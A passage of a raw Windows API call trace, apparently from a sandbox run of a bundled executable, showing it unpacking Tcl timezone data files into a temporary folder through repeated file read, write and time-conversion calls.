dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.218] GetFileType (hFile=0x10c) returned 0x1 [0040.218] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.218] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.218] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.218] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.218] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.218] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.218] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.218] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.218] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.218] CloseHandle (hObject=0x10c) returned 1 [0040.218] GetLastError () returned 0x0 [0040.218] SetLastError (dwErrCode=0x0) [0040.218] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Karachi") returned 69 [0040.218] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Karachi" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\karachi"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.218] GetLastError () returned 0x2 [0040.218] SetLastError (dwErrCode=0x2) [0040.218] GetLastError () returned 0x2 [0040.218] SetLastError (dwErrCode=0x2) [0040.219] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Karachi", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Karachi", lpFilePart=0x0) returned 0x44 [0040.219] GetLastError () returned 0x2 [0040.219] SetLastError (dwErrCode=0x2) [0040.219] GetLastError () returned 0x2 [0040.219] SetLastError (dwErrCode=0x2) [0040.219] GetLastError () returned 0x2 [0040.219] SetLastError (dwErrCode=0x2) [0040.219] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Karachi") returned 69 [0040.219] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.219] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Karachi" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\karachi"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.219] GetFileType (hFile=0x10c) returned 0x1 [0040.220] htonl (hostlong=0xb4010000) returned 0x1b4 [0040.220] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.220] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x1b4, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x1b4, lpOverlapped=0x0) returned 1 [0040.221] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.221] CloseHandle (hObject=0x10c) returned 1 [0040.221] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5506f0 | out: hHeap=0x530000) returned 1 [0040.221] htonl (hostlong=0x30000000) returned 0x30 [0040.221] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.221] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.221] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.221] GetFileType (hFile=0x10c) returned 0x1 [0040.221] htonl (hostlong=0xedf15a00) returned 0x5af1ed [0040.221] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fa1ed, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.221] htonl (hostlong=0xeb000000) returned 0xeb [0040.221] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xeb) returned 0x550600 [0040.221] htonl (hostlong=0xeb000000) returned 0xeb [0040.221] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.221] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.221] htonl (hostlong=0x1b020000) returned 0x21b [0040.221] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x21b) returned 0x5506f8 [0040.221] htonl (hostlong=0xeb000000) returned 0xeb [0040.221] htonl (hostlong=0x1b020000) returned 0x21b [0040.221] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.221] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.221] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.221] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.221] CloseHandle (hObject=0x10c) returned 1 [0040.221] GetLastError () returned 0x0 [0040.222] SetLastError (dwErrCode=0x0) [0040.222] GetLastError () returned 0x0 [0040.222] SetLastError (dwErrCode=0x0) [0040.222] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.222] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.222] GetFileType (hFile=0x10c) returned 0x1 [0040.222] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.222] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.222] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.222] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.222] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.222] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.222] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.222] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.222] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.222] CloseHandle (hObject=0x10c) returned 1 [0040.222] GetLastError () returned 0x0 [0040.222] SetLastError (dwErrCode=0x0) [0040.222] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.222] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.222] GetFileType (hFile=0x10c) returned 0x1 [0040.222] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.222] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.222] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.222] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.223] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.223] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.223] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.223] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.223] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.223] CloseHandle (hObject=0x10c) returned 1 [0040.223] GetLastError () returned 0x0 [0040.223] SetLastError (dwErrCode=0x0) [0040.223] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.223] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.223] GetFileType (hFile=0x10c) returned 0x1 [0040.223] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.223] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.223] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.223] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.223] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.223] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.223] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.223] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.223] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.223] CloseHandle (hObject=0x10c) returned 1 [0040.223] GetLastError () returned 0x0 [0040.223] SetLastError (dwErrCode=0x0) [0040.223] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kashgar") returned 69 [0040.223] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kashgar" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\kashgar"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.224] GetLastError () returned 0x2 [0040.224] SetLastError (dwErrCode=0x2) [0040.224] GetLastError () returned 0x2 [0040.224] SetLastError (dwErrCode=0x2) [0040.224] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kashgar", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kashgar", lpFilePart=0x0) returned 0x44 [0040.224] GetLastError () returned 0x2 [0040.224] SetLastError (dwErrCode=0x2) [0040.224] GetLastError () returned 0x2 [0040.224] SetLastError (dwErrCode=0x2) [0040.224] GetLastError () returned 0x2 [0040.224] SetLastError (dwErrCode=0x2) [0040.224] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kashgar") returned 69 [0040.224] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.224] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kashgar" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\kashgar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.224] GetFileType (hFile=0x10c) returned 0x1 [0040.224] htonl (hostlong=0x1b020000) returned 0x21b [0040.224] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.224] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x21b, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x21b, lpOverlapped=0x0) returned 1 [0040.225] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.225] CloseHandle (hObject=0x10c) returned 1 [0040.225] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5506f8 | out: hHeap=0x530000) returned 1 [0040.225] htonl (hostlong=0x30000000) returned 0x30 [0040.225] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.225] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.225] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.226] GetFileType (hFile=0x10c) returned 0x1 [0040.226] htonl (hostlong=0xd8f25a00) returned 0x5af2d8 [0040.226] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fa2d8, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.226] htonl (hostlong=0x9a000000) returned 0x9a [0040.226] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9a) returned 0x55cfe0 [0040.226] htonl (hostlong=0x9a000000) returned 0x9a [0040.226] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.226] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.226] htonl (hostlong=0xae000000) returned 0xae [0040.226] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xae) returned 0x550600 [0040.226] htonl (hostlong=0x9a000000) returned 0x9a [0040.226] htonl (hostlong=0xae000000) returned 0xae [0040.226] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.226] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.226] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.226] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.226] CloseHandle (hObject=0x10c) returned 1 [0040.226] GetLastError () returned 0x0 [0040.226] SetLastError (dwErrCode=0x0) [0040.226] GetLastError () returned 0x0 [0040.226] SetLastError (dwErrCode=0x0) [0040.226] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.226] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.226] GetFileType (hFile=0x10c) returned 0x1 [0040.226] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.226] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.226] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.226] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.227] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.227] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.227] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.227] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.227] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.227] CloseHandle (hObject=0x10c) returned 1 [0040.227] GetLastError () returned 0x0 [0040.227] SetLastError (dwErrCode=0x0) [0040.227] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.227] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.227] GetFileType (hFile=0x10c) returned 0x1 [0040.227] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.227] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.227] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.227] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.227] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.227] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.227] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.227] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.227] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.227] CloseHandle (hObject=0x10c) returned 1 [0040.227] GetLastError () returned 0x0 [0040.227] SetLastError (dwErrCode=0x0) [0040.227] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.227] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.228] GetFileType (hFile=0x10c) returned 0x1 [0040.228] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.228] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.228] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.228] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.228] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.228] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.228] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.228] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 